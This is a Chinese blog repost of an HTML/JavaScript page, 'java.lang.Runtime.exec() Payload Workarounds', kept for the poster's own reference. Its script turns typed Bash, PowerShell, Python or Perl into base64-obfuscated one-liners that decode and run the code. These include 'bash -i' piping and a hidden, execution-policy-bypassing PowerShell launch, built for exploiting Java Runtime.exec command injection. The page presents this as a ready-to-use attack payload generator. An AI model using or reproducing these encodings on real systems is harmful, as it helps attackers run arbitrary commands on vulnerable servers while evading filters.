zoukankan      html  css  js  c++  java
  • java.lang.Runtime.exec() Payload Workarounds

    来源:http://www.jackson-t.ca/runtime-exec-payloads.html

    扣一下html代码,保存在本地方便查找,也方便增加。

    <!DOCTYPE html>
    <html>
    <head>
        <title>java runtime exec usage...</title>
    </head>
    <body>
        <p>Input type:
    <input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
    <input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
    <input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
    <input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>
    
        <p><textarea rows="10" style=" 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
    <textarea rows="5" style=" 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
    
    <script>
      var taInput = document.querySelector('textarea#input');
      var taOutput = document.querySelector('textarea#output');
    
      function processInput() {
        var option = document.querySelector('input[name="option"]:checked').value;
    
        switch (option) {
          case 'bash':
            taInput.placeholder = 'Type Bash here...'
            taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
            break;
          case 'powershell':
            taInput.placeholder = 'Type PowerShell here...'
            poshInput = ''
            for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
            taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
            break;
          case 'python':
            taInput.placeholder = 'Type Python here...'
            taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
            break;
          case 'perl':
            taInput.placeholder = 'Type Perl here...'
            taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
            break;
          default:
            taOutput.value = ''
        }
    
        if (!taInput.value) taOutput.value = '';
      }
    
      taInput.addEventListener('input', processInput, false);
    </script>
    
    </body>
    </html>
  • 相关阅读:
    vue 中 vue-router、transition、keep-alive 怎么结合使用?
    vue 对列表数组删除和增加
    eclipse如何快速查找某个类
    在 eclipse 中设置每行的字数
    如何查看某个端口被谁占用
    sql只修改第一二行数据
    android真机自动化测试
    appium自动化测试中获取toast消息的解决方法【转】
    eclipse下python的selenium自动化环境的搭建
    Xpath用法官方手册
  • 原文地址:https://www.cnblogs.com/yangxiaodi/p/12745188.html
Copyright © 2011-2022 走看看